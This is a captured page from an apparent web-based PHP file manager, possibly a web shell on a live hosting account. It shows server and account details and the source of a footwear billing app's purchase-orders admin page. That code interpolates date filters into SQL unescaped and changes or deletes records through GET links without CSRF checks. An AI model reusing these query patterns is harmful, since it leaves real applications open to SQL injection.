Enhanced PHP File Manager

⬆️ Go Up (..)

📊 Server Information

Server:

LiteSpeed

System:

Linux 5.14.0-503.34.1.el9_5.x86_64

PHP Version:

8.2.30

User:

u329947844

Directory:

/home/u329947844/domains/ecommer.in/public_html/billing/footwear

Free Space:

10.27 TB

🔧 Quick Actions

✏️ Editing: purchase-orders.php

<!doctype html>
<html lang="en">

<?php include('includes/head.php'); ?>
<?php include('includes/db.php'); ?>
<?php
session_start();

// Check if user is logged in
if (!isset($_SESSION['user_id'])) {
    header("Location: login.php");
    exit();
}

// Handle delete request
if (isset($_GET['delete_id'])) {
    $delete_id = intval($_GET['delete_id']);
    // Only allow delete if order is in draft or cancelled status
    $checkQuery = "SELECT status FROM purchase_orders WHERE id = $delete_id";
    $checkResult = mysqli_query($conn, $checkQuery);
    $order = mysqli_fetch_assoc($checkResult);
    
    if ($order && in_array($order['status'], ['draft', 'cancelled'])) {
        $deleteQuery = "DELETE FROM purchase_orders WHERE id = $delete_id";
        if (mysqli_query($conn, $deleteQuery)) {
            // Also delete associated items and logs
            mysqli_query($conn, "DELETE FROM purchase_order_items WHERE purchase_order_id = $delete_id");
            mysqli_query($conn, "DELETE FROM purchase_order_logs WHERE purchase_order_id = $delete_id");
            mysqli_query($conn, "DELETE FROM purchase_order_payments WHERE purchase_order_id = $delete_id");
            $_SESSION['success'] = "Purchase order deleted successfully!";
        } else {
            $_SESSION['error'] = "Failed to delete purchase order: " . mysqli_error($conn);
        }
    } else {
        $_SESSION['error'] = "Cannot delete purchase order. Only draft or cancelled orders can be deleted.";
    }
    header("Location: purchase-orders.php");
    exit();
}

// Handle status change
if (isset($_GET['change_status'])) {
    $order_id = intval($_GET['order_id']);
    $new_status = mysqli_real_escape_string($conn, $_GET['new_status']);
    $user_id = $_SESSION['user_id'];
    
    // Get current status
    $currentQuery = "SELECT status FROM purchase_orders WHERE id = $order_id";
    $currentResult = mysqli_query($conn, $currentQuery);
    $currentOrder = mysqli_fetch_assoc($currentResult);
    
    if ($currentOrder) {
        // Update status
        $updateQuery = "UPDATE purchase_orders SET status = '$new_status', updated_at = NOW(), updated_by = $user_id WHERE id = $order_id";
        
        // Handle cancellation
        if ($new_status === 'cancelled') {
            $reason = mysqli_real_escape_string($conn, $_GET['reason'] ?? '');
            $updateQuery = "UPDATE purchase_orders SET status = '$new_status', cancelled_at = NOW(), cancelled_by = $user_id, cancellation_reason = '$reason', updated_at = NOW(), updated_by = $user_id WHERE id = $order_id";
        }
        
        if (mysqli_query($conn, $updateQuery)) {
            // Log the status change
            $logQuery = "INSERT INTO purchase_order_logs (purchase_order_id, action_type, action_description, performed_by) 
                        VALUES ($order_id, 'status_changed', 'Status changed from {$currentOrder['status']} to $new_status', $user_id)";
            mysqli_query($conn, $logQuery);
            
            $_SESSION['success'] = "Purchase order status updated successfully!";
        } else {
            $_SESSION['error'] = "Failed to update status: " . mysqli_error($conn);
        }
    }
    header("Location: purchase-orders.php");
    exit();
}

// Pagination setup
$limit = 20; // Number of records per page
$page = isset($_GET['page']) ? intval($_GET['page']) : 1;
$offset = ($page - 1) * $limit;

// Search and filter parameters
$search = isset($_GET['search']) ? mysqli_real_escape_string($conn, $_GET['search']) : '';
$status_filter = isset($_GET['status']) ? mysqli_real_escape_string($conn, $_GET['status']) : '';
$supplier_filter = isset($_GET['supplier']) ? intval($_GET['supplier']) : 0;
$date_from = isset($_GET['date_from']) ? $_GET['date_from'] : '';
$date_to = isset($_GET['date_to']) ? $_GET['date_to'] : '';

// Build WHERE clause
$whereConditions = [];
if (!empty($search)) {
    $whereConditions[] = "(po.supplier_name LIKE '%$search%' OR po.notes LIKE '%$search%')";
}
if (!empty($status_filter)) {
    $whereConditions[] = "po.status = '$status_filter'";
}
if ($supplier_filter > 0) {
    $whereConditions[] = "po.supplier_name LIKE '%" . mysqli_real_escape_string($conn, $_GET['supplier_name']) . "%'";
}
if (!empty($date_from)) {
    $whereConditions[] = "DATE(po.order_date) >= '$date_from'";
}
if (!empty($date_to)) {
    $whereConditions[] = "DATE(po.order_date) <= '$date_to'";
}
$whereClause = !empty($whereConditions) ? 'WHERE ' . implode(' AND ', $whereConditions) : '';

// Fetch purchase orders
$query = "SELECT po.*, 
          (SELECT COUNT(*) FROM purchase_order_items poi WHERE poi.purchase_order_id = po.id) as item_count,
          (SELECT SUM(quantity) FROM purchase_order_items poi WHERE poi.purchase_order_id = po.id) as total_quantity,
          (SELECT SUM(subtotal) FROM purchase_order_items poi WHERE poi.purchase_order_id = po.id) as items_total,
          uc.email as created_by_email,
          uu.email as updated_by_email
          FROM purchase_orders po
          LEFT JOIN users uc ON po.created_by = uc.id
          LEFT JOIN users uu ON po.updated_by = uu.id
          $whereClause
          ORDER BY po.order_date DESC, po.created_at DESC
          LIMIT $limit OFFSET $offset";

$result = mysqli_query($conn, $query);

// Count total records for pagination
$countQuery = "SELECT COUNT(*) as total FROM purchase_orders po $whereClause";
$countResult = mysqli_query($conn, $countQuery);
$totalRow = mysqli_fetch_assoc($countResult);
$total_records = $totalRow['total'];
$total_pages = ceil($total_records / $limit);

// Fetch suppliers for filter dropdown (from purchase_orders table)
$suppliers = [];
$supplierQuery = "SELECT DISTINCT supplier_name FROM purchase_orders WHERE supplier_name != '' ORDER BY supplier_name";
$supplierResult = mysqli_query($conn, $supplierQuery);
if ($supplierResult) {
    while ($row = mysqli_fetch_assoc($supplierResult)) {
        $suppliers[] = $row;
    }
}

// Status options
$status_options = [
    'draft' => ['label' => 'Draft', 'class' => 'secondary'],
    'pending' => ['label' => 'Pending', 'class' => 'warning'],
    'approved' => ['label' => 'Approved', 'class' => 'info'],
    'partially_received' => ['label' => 'Partially Received', 'class' => 'primary'],
    'completed' => ['label' => 'Completed', 'class' => 'success'],
    'cancelled' => ['label' => 'Cancelled', 'class' => 'danger']
];

// Payment status options
$payment_status_options = [
    'Paid' => ['label' => 'Paid', 'class' => 'success'],
    'Partially Paid' => ['label' => 'Partially Paid', 'class' => 'warning'],
    'Unpaid' => ['label' => 'Unpaid', 'class' => 'danger']
];

// Success/Error messages
$success = isset($_SESSION['success']) ? $_SESSION['success'] : '';
$error = isset($_SESSION['error']) ? $_SESSION['error'] : '';
unset($_SESSION['success'], $_SESSION['error']);
?>

<?php include('includes/pre-loader.php'); ?>

<div id="layout-wrapper">

<?php include('includes/topbar.php'); ?>

<div class="vertical-menu">
        <div data-simplebar class="h-100">
            <?php include('includes/sidebar.php'); ?>
        </div>
    </div>

<div class="main-content">
        <div class="page-content">
            <div class="container-fluid">

<?php if ($success): ?>
                    <div class="alert alert-success alert-dismissible fade show" role="alert">
                        <?php echo htmlspecialchars($success); ?>
                        <button type="button" class="btn-close" data-bs-dismiss="alert"></button>
                    </div>
                <?php endif; ?>
                
                <?php if ($error): ?>
                    <div class="alert alert-danger alert-dismissible fade show" role="alert">
                        <?php echo htmlspecialchars($error); ?>
                        <button type="button" class="btn-close" data-bs-dismiss="alert"></button>
                    </div>
                <?php endif; ?>

<div class="row mb-4">
                    <div class="col-xl-12">
                        <div class="card">
                            <div class="card-body">
                                <h5 class="card-title mb-3">Search & Filter</h5>
                                <form method="GET" action="" class="row g-3" id="filterForm">
                                    <div class="col-md-3">
                                        <div class="form-group">
                                            <label for="search" class="form-label">Search</label>
                                            <input type="text" name="search" id="search" class="form-control" 
                                                   placeholder="Search by supplier or notes..." 
                                                   value="<?php echo htmlspecialchars($search); ?>">
                                        </div>
                                    </div>
                                    <div class="col-md-2">
                                        <div class="form-group">
                                            <label for="status" class="form-label">Status</label>
                                            <select name="status" id="status" class="form-control">
                                                <option value="">All Status</option>
                                                <?php foreach ($status_options as $value => $option): ?>
                                                    <option value="<?php echo $value; ?>" 
                                                        <?php echo ($status_filter == $value) ? 'selected' : ''; ?>>
                                                        <?php echo $option['label']; ?>
                                                    </option>
                                                <?php endforeach; ?>
                                            </select>
                                        </div>
                                    </div>
                                    <div class="col-md-2">
                                        <div class="form-group">
                                            <label for="supplier" class="form-label">Supplier</label>
                                            <select name="supplier" id="supplier" class="form-control">
                                                <option value="">All Suppliers</option>
                                                <?php foreach ($suppliers as $supplier): ?>
                                                    <option value="<?php echo htmlspecialchars($supplier['supplier_name']); ?>" 
                                                        <?php echo (isset($_GET['supplier']) && $_GET['supplier'] == $supplier['supplier_name']) ? 'selected' : ''; ?>>
                                                        <?php echo htmlspecialchars($supplier['supplier_name']); ?>
                                                    </option>
                                                <?php endforeach; ?>
                                            </select>
                                            <input type="hidden" name="supplier_name" id="supplier_name" value="<?php echo isset($_GET['supplier']) ? htmlspecialchars($_GET['supplier']) : ''; ?>">
                                        </div>
                                    </div>
                                    <div class="col-md-2">
                                        <div class="form-group">
                                            <label for="date_from" class="form-label">Date From</label>
                                            <input type="date" name="date_from" id="date_from" class="form-control" 
                                                   value="<?php echo htmlspecialchars($date_from); ?>">
                                        </div>
                                    </div>
                                    <div class="col-md-2">
                                        <div class="form-group">
                                            <label for="date_to" class="form-label">Date To</label>
                                            <input type="date" name="date_to" id="date_to" class="form-control" 
                                                   value="<?php echo htmlspecialchars($date_to); ?>">
                                        </div>
                                    </div>
                                    <div class="col-md-1 d-flex align-items-end">
                                        <div class="form-group w-100">
                                            <button type="submit" class="btn btn-primary w-100">
                                                <i class="fas fa-search me-1"></i> Filter
                                            </button>
                                        </div>
                                    </div>
                                    <div class="col-md-1 d-flex align-items-end">
                                        <div class="form-group w-100">
                                            <button type="button" id="resetFilters" class="btn btn-secondary w-100">
                                                <i class="fas fa-redo me-1"></i> Reset
                                            </button>
                                        </div>
                                    </div>
                                </form>
                            </div>
                        </div>
                    </div>
                </div>

<div class="row mb-4">
                    <div class="col-md-3">
                        <div class="card">
                            <div class="card-body">
                                <div class="d-flex align-items-center">
                                    <div class="flex-shrink-0 me-3">
                                        <div class="avatar-sm">
                                            <span class="avatar-title bg-primary-subtle text-primary rounded-circle fs-3">
                                                <i class="fas fa-file-invoice"></i>
                                            </span>
                                        </div>
                                    </div>
                                    <div class="flex-grow-1">
                                        <p class="text-muted mb-1">Total Orders</p>
                                        <h4 class="mb-0"><?php echo $total_records; ?></h4>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                    <div class="col-md-3">
                        <div class="card">
                            <div class="card-body">
                                <div class="d-flex align-items-center">
                                    <div class="flex-shrink-0 me-3">
                                        <div class="avatar-sm">
                                            <span class="avatar-title bg-success-subtle text-success rounded-circle fs-3">
                                                <i class="fas fa-money-bill-wave"></i>
                                            </span>
                                        </div>
                                    </div>
                                    <div class="flex-grow-1">
                                        <p class="text-muted mb-1">Total Amount</p>
                                        <h4 class="mb-0">
                                            <?php 
                                            $totalAmountQuery = "SELECT SUM(total_amount) as total FROM purchase_orders $whereClause";
                                            $totalAmountResult = mysqli_query($conn, $totalAmountQuery);
                                            $totalAmountRow = mysqli_fetch_assoc($totalAmountResult);
                                            echo '₹ ' . number_format($totalAmountRow['total'] ?? 0, 2);
                                            ?>
                                        </h4>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                    <div class="col-md-3">
                        <div class="card">
                            <div class="card-body">
                                <div class="d-flex align-items-center">
                                    <div class="flex-shrink-0 me-3">
                                        <div class="avatar-sm">
                                            <span class="avatar-title bg-warning-subtle text-warning rounded-circle fs-3">
                                                <i class="fas fa-clock"></i>
                                            </span>
                                        </div>
                                    </div>
                                    <div class="flex-grow-1">
                                        <p class="text-muted mb-1">Pending Orders</p>
                                        <?php
                                        $pendingQuery = "SELECT COUNT(*) as count FROM purchase_orders WHERE status = 'pending'";
                                        $pendingResult = mysqli_query($conn, $pendingQuery);
                                        $pendingRow = mysqli_fetch_assoc($pendingResult);
                                        ?>
                                        <h4 class="mb-0"><?php echo $pendingRow['count']; ?></h4>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                    <div class="col-md-3">
                        <div class="card">
                            <div class="card-body">
                                <div class="d-flex align-items-center">
                                    <div class="flex-shrink-0 me-3">
                                        <div class="avatar-sm">
                                            <span class="avatar-title bg-info-subtle text-info rounded-circle fs-3">
                                                <i class="fas fa-truck"></i>
                                            </span>
                                        </div>
                                    </div>
                                    <div class="flex-grow-1">
                                        <p class="text-muted mb-1">Partially Received</p>
                                        <?php
                                        $partialQuery = "SELECT COUNT(*) as count FROM purchase_orders WHERE status = 'partially_received'";
                                        $partialResult = mysqli_query($conn, $partialQuery);
                                        $partialRow = mysqli_fetch_assoc($partialResult);
                                        ?>
                                        <h4 class="mb-0"><?php echo $partialRow['count']; ?></h4>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>

<div class="row">
                    <div class="col-xl-12">
                        <div class="card">
                            <div class="card-body">
                                <div class="table-responsive">
                                    <table class="table table-hover table-centered table-nowrap mb-0">
                                        <thead class="table-light">
                                            <tr>
                                                <th>#</th>
                                                <th>Order Info</th>
                                                <th>Supplier</th>
                                                <th>Items</th>
                                                <th>Amount</th>
                                                <th>Payment Status</th>
                                                <th>Order Status</th>
                                                <th>Delivery Date</th>
                                                <th>Created By</th>
                                                <th>Actions</th>
                                            </tr>
                                        </thead>
                                        <tbody>
                                            <?php if (mysqli_num_rows($result) > 0): ?>
                                                <?php $counter = ($page - 1) * $limit + 1; ?>
                                                <?php while ($row = mysqli_fetch_assoc($result)): ?>
                                                    <tr>
                                                        <td><?php echo $counter++; ?></td>
                                                        <td>
                                                            <div><strong>Order #<?php echo $row['id']; ?></strong></div>
                                                            <small class="text-muted">
                                                                <?php echo date('d/m/Y', strtotime($row['order_date'])); ?>
                                                            </small>
                                                            <?php if (!empty($row['notes'])): ?>
                                                                <br><small class="text-muted" title="<?php echo htmlspecialchars($row['notes']); ?>">
                                                                    <?php echo htmlspecialchars(substr($row['notes'], 0, 50)); ?>...
                                                                </small>
                                                            <?php endif; ?>
                                                        </td>
                                                        <td>
                                                            <div><?php echo htmlspecialchars($row['supplier_name']); ?></div>
                                                            <?php if ($row['expected_delivery_date']): ?>
                                                                <small class="text-muted">
                                                                    Expected: <?php echo date('d/m/Y', strtotime($row['expected_delivery_date'])); ?>
                                                                </small>
                                                            <?php endif; ?>
                                                        </td>
                                                        <td>
                                                            <div>
                                                                <span class="badge bg-primary"><?php echo $row['item_count']; ?> items</span>
                                                            </div>
                                                            <div>
                                                                <small class="text-muted"><?php echo $row['total_quantity'] ?? 0; ?> units</small>
                                                            </div>
                                                        </td>
                                                        <td>
                                                            <div><strong class="text-success">₹ <?php echo number_format($row['total_amount'], 2); ?></strong></div>
                                                            <div>
                                                                <small class="text-muted">
                                                                    Given: ₹ <?php echo number_format($row['given_amount'], 2); ?>
                                                                </small>
                                                            </div>
                                                            <?php if ($row['balance_amount'] > 0): ?>
                                                                <div>
                                                                    <small class="text-danger">
                                                                        Balance: ₹ <?php echo number_format($row['balance_amount'], 2); ?>
                                                                    </small>
                                                                </div>
                                                            <?php endif; ?>
                                                        </td>
                                                        <td>
                                                            <?php 
                                                            $payment_status = $row['payment_status'];
                                                            $payment_info = $payment_status_options[$payment_status] ?? ['label' => $payment_status, 'class' => 'secondary'];
                                                            ?>
                                                            <span class="badge bg-<?php echo $payment_info['class']; ?>">
                                                                <?php echo $payment_info['label']; ?>
                                                            </span>
                                                        </td>
                                                        <td>
                                                            <?php 
                                                            $status = $row['status'];
                                                            $status_info = $status_options[$status] ?? ['label' => ucfirst($status), 'class' => 'secondary'];
                                                            ?>
                                                            <span class="badge bg-<?php echo $status_info['class']; ?>">
                                                                <?php echo $status_info['label']; ?>
                                                            </span>
                                                            <?php if ($row['cancelled_at']): ?>
                                                                <br>
                                                                <small class="text-muted">
                                                                    <?php echo date('d/m/Y', strtotime($row['cancelled_at'])); ?>
                                                                </small>
                                                            <?php endif; ?>
                                                        </td>
                                                        <td>
                                                            <?php if ($row['expected_delivery_date']): ?>
                                                                <?php 
                                                                $delivery_date = strtotime($row['expected_delivery_date']);
                                                                $today = strtotime(date('Y-m-d'));
                                                                $diff = $delivery_date - $today;
                                                                $days = floor($diff / (60*60*24));
                                                                
                                                                if ($days < 0) {
                                                                    echo '<span class="text-danger">';
                                                                    echo date('d/m/Y', $delivery_date);
                                                                    echo '<br><small class="text-danger">Overdue by ' . abs($days) . ' days</small>';
                                                                    echo '</span>';
                                                                } elseif ($days == 0) {
                                                                    echo '<span class="text-warning">';
                                                                    echo date('d/m/Y', $delivery_date);
                                                                    echo '<br><small class="text-warning">Due today</small>';
                                                                    echo '</span>';
                                                                } elseif ($days <= 3) {
                                                                    echo '<span class="text-warning">';
                                                                    echo date('d/m/Y', $delivery_date);
                                                                    echo '<br><small class="text-warning">In ' . $days . ' days</small>';
                                                                    echo '</span>';
                                                                } else {
                                                                    echo '<span class="text-success">';
                                                                    echo date('d/m/Y', $delivery_date);
                                                                    echo '<br><small class="text-muted">In ' . $days . ' days</small>';
                                                                    echo '</span>';
                                                                }
                                                                ?>
                                                            <?php else: ?>
                                                                <span class="text-muted">Not set</span>
                                                            <?php endif; ?>
                                                        </td>
                                                        <td>
                                                            <div><?php echo htmlspecialchars($row['created_by_email']); ?></div>
                                                            <small class="text-muted">
                                                                <?php echo date('d/m/Y', strtotime($row['created_at'])); ?>
                                                            </small>
                                                        </td>
                                                        <td>
                                                            <div class="btn-group" role="group">
                                                                <a href="purchase-order-details.php?id=<?php echo $row['id']; ?>" 
                                                                   class="btn btn-sm btn-outline-primary" title="View Details">
                                                                    <i class="fas fa-eye"></i>
                                                                </a>
                                                                <?php if ($row['status'] == 'draft' || $row['status'] == 'pending'): ?>
                                                                    <a href="edit-purchase-order.php?id=<?php echo $row['id']; ?>" 
                                                                       class="btn btn-sm btn-outline-warning" title="Edit">
                                                                        <i class="fas fa-edit"></i>
                                                                    </a>
                                                                <?php endif; ?>
                                                                <?php if ($row['status'] == 'draft' || $row['status'] == 'cancelled'): ?>
                                                                    <button type="button" 
                                                                            class="btn btn-sm btn-outline-danger delete-order" 
                                                                            title="Delete" 
                                                                            data-id="<?php echo $row['id']; ?>"
                                                                            data-number="<?php echo $row['id']; ?>">
                                                                        <i class="fas fa-trash"></i>
                                                                    </button>
                                                                <?php endif; ?>
                                                                <button type="button" 
                                                                        class="btn btn-sm btn-outline-info status-change" 
                                                                        title="Change Status"
                                                                        data-id="<?php echo $row['id']; ?>"
                                                                        data-current-status="<?php echo $row['status']; ?>">
                                                                    <i class="fas fa-exchange-alt"></i>
                                                                </button>
                                                                <a href="purchase-order-payments.php?id=<?php echo $row['id']; ?>" 
                                                                   class="btn btn-sm btn-outline-success" title="Payments">
                                                                    <i class="fas fa-credit-card"></i>
                                                                </a>
                                                            </div>
                                                        </td>
                                                    </tr>
                                                <?php endwhile; ?>
                                            <?php else: ?>
                                                <tr>
                                                    <td colspan="10" class="text-center py-4">
                                                        <div class="text-muted">
                                                            <i class="fas fa-file-invoice fa-3x mb-3"></i>
                                                            <h5>No purchase orders found</h5>
                                                            <p>Start by creating your first purchase order</p>
                                                            <a href="create-purchase.php" class="btn btn-primary mt-2">
                                                                <i class="fas fa-plus-circle me-1"></i> Create Order
                                                            </a>
                                                        </div>
                                                    </td>
                                                </tr>
                                            <?php endif; ?>
                                        </tbody>
                                    </table>
                                </div>

<?php if ($total_pages > 1): ?>
                                    <div class="row mt-4">
                                        <div class="col-sm-12">
                                            <nav aria-label="Page navigation">
                                                <ul class="pagination justify-content-center">
                                                    
                                                    <li class="page-item <?php echo ($page <= 1) ? 'disabled' : ''; ?>">
                                                        <a class="page-link" 
                                                           href="?page=<?php echo $page - 1; ?>&search=<?php echo urlencode($search); ?>&status=<?php echo urlencode($status_filter); ?>&supplier=<?php echo urlencode(isset($_GET['supplier']) ? $_GET['supplier'] : ''); ?>&date_from=<?php echo urlencode($date_from); ?>&date_to=<?php echo urlencode($date_to); ?>">
                                                            <i class="fas fa-chevron-left"></i>
                                                        </a>
                                                    </li>
                                                    
                                                    
                                                    <?php for ($i = 1; $i <= $total_pages; $i++): ?>
                                                        <?php if ($i == 1 || $i == $total_pages || ($i >= $page - 2 && $i <= $page + 2)): ?>
                                                            <li class="page-item <?php echo ($i == $page) ? 'active' : ''; ?>">
                                                                <a class="page-link" 
                                                                   href="?page=<?php echo $i; ?>&search=<?php echo urlencode($search); ?>&status=<?php echo urlencode($status_filter); ?>&supplier=<?php echo urlencode(isset($_GET['supplier']) ? $_GET['supplier'] : ''); ?>&date_from=<?php echo urlencode($date_from); ?>&date_to=<?php echo urlencode($date_to); ?>">
                                                                    <?php echo $i; ?>
                                                                </a>
                                                            </li>
                                                        <?php elseif ($i == $page - 3 || $i == $page + 3): ?>
                                                            <li class="page-item disabled">
                                                                <span class="page-link">...</span>
                                                            </li>
                                                        <?php endif; ?>
                                                    <?php endfor; ?>
                                                    
                                                    
                                                    <li class="page-item <?php echo ($page >= $total_pages) ? 'disabled' : ''; ?>">
                                                        <a class="page-link" 
                                                           href="?page=<?php echo $page + 1; ?>&search=<?php echo urlencode($search); ?>&status=<?php echo urlencode($status_filter); ?>&supplier=<?php echo urlencode(isset($_GET['supplier']) ? $_GET['supplier'] : ''); ?>&date_from=<?php echo urlencode($date_from); ?>&date_to=<?php echo urlencode($date_to); ?>">
                                                            <i class="fas fa-chevron-right"></i>
                                                        </a>
                                                    </li>
                                                </ul>
                                            </nav>
                                        </div>
                                    </div>
                                <?php endif; ?>

</div>
                        </div>
                    </div>
                </div>

</div>
        </div>

<?php include('includes/footer.php'); ?>
    </div>

</div>

<?php include('includes/rightbar.php'); ?>
<?php include('includes/scripts.php'); ?>

<div class="modal fade" id="statusChangeModal" tabindex="-1" aria-labelledby="statusChangeModalLabel" aria-hidden="true">
    <div class="modal-dialog">
        <div class="modal-content">
            <div class="modal-header">
                <h5 class="modal-title" id="statusChangeModalLabel">Change Order Status</h5>
                <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
            </div>
            <div class="modal-body">
                <form id="statusChangeForm">
                    <input type="hidden" id="order_id" name="order_id">
                    <div class="mb-3">
                        <label for="new_status" class="form-label">New Status</label>
                        <select name="new_status" id="new_status" class="form-control" required>
                            <option value="">-- Select Status --</option>
                            <option value="draft">Draft</option>
                            <option value="pending">Pending</option>
                            <option value="approved">Approved</option>
                            <option value="partially_received">Partially Received</option>
                            <option value="completed">Completed</option>
                            <option value="cancelled">Cancelled</option>
                        </select>
                    </div>
                    <div class="mb-3" id="cancellation_reason_div" style="display: none;">
                        <label for="cancellation_reason" class="form-label">Cancellation Reason</label>
                        <textarea name="cancellation_reason" id="cancellation_reason" class="form-control" rows="3" placeholder="Enter reason for cancellation"></textarea>
                    </div>
                </form>
            </div>
            <div class="modal-footer">
                <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Cancel</button>
                <button type="button" class="btn btn-primary" id="confirmStatusChange">Change Status</button>
            </div>
        </div>
    </div>
</div>

// Reset filters
    document.getElementById('resetFilters').addEventListener('click', function() {
        window.location.href = 'purchase-orders.php';
    });

// Update supplier_name hidden field when supplier select changes
    document.getElementById('supplier').addEventListener('change', function() {
        document.getElementById('supplier_name').value = this.value;
    });

// Status change modal
    const statusChangeModal = new bootstrap.Modal(document.getElementById('statusChangeModal'));
    let currentOrderId = null;
    
    document.querySelectorAll('.status-change').forEach(button => {
        button.addEventListener('click', function() {
            currentOrderId = this.getAttribute('data-id');
            const currentStatus = this.getAttribute('data-current-status');
            
            document.getElementById('order_id').value = currentOrderId;
            document.getElementById('new_status').value = currentStatus;
            
            // Show modal
            statusChangeModal.show();
        });
    });
    
    // Show/hide cancellation reason
    document.getElementById('new_status').addEventListener('change', function() {
        const reasonDiv = document.getElementById('cancellation_reason_div');
        if (this.value === 'cancelled') {
            reasonDiv.style.display = 'block';
        } else {
            reasonDiv.style.display = 'none';
        }
    });
    
    // Confirm status change
    document.getElementById('confirmStatusChange').addEventListener('click', function() {
        const orderId = document.getElementById('order_id').value;
        const newStatus = document.getElementById('new_status').value;
        
        if (!newStatus) {
            alert('Please select a status');
            return;
        }
        
        let url = `purchase-orders.php?change_status=1&order_id=${orderId}&new_status=${newStatus}`;
        
        if (newStatus === 'cancelled') {
            const reason = document.getElementById('cancellation_reason').value.trim();
            if (!reason) {
                alert('Please provide a cancellation reason');
                return;
            }
            url += `&reason=${encodeURIComponent(reason)}`;
        }
        
        window.location.href = url;
    });

// Quick status change buttons
    document.querySelectorAll('.quick-status').forEach(button => {
        button.addEventListener('click', function() {
            const orderId = this.getAttribute('data-id');
            const newStatus = this.getAttribute('data-status');
            
            if (newStatus === 'cancelled') {
                const reason = prompt('Enter cancellation reason:');
                if (reason) {
                    window.location.href = `purchase-orders.php?change_status=1&order_id=${orderId}&new_status=${newStatus}&reason=${encodeURIComponent(reason)}`;
                }
            } else {
                window.location.href = `purchase-orders.php?change_status=1&order_id=${orderId}&new_status=${newStatus}`;
            }
        });
    });

// Export to Excel
    document.getElementById('exportExcel')?.addEventListener('click', function() {
        const search = document.getElementById('search').value;
        const status = document.getElementById('status').value;
        const supplier = document.getElementById('supplier').value;
        const date_from = document.getElementById('date_from').value;
        const date_to = document.getElementById('date_to').value;
        
        window.location.href = `export-purchase-orders.php?search=${encodeURIComponent(search)}&status=${status}&supplier=${supplier}&date_from=${date_from}&date_to=${date_to}`;
    });
});
</script>

</body>
</html>

❌ Cancel

🗂️ Enhanced PHP File Manager

📊 Server Information

🔧 Quick Actions

✏️ Editing: purchase-orders.php

📤 Upload File

📁 Create Folder

📄 Create File

✏️ Rename Item

🗑️ Delete Confirmation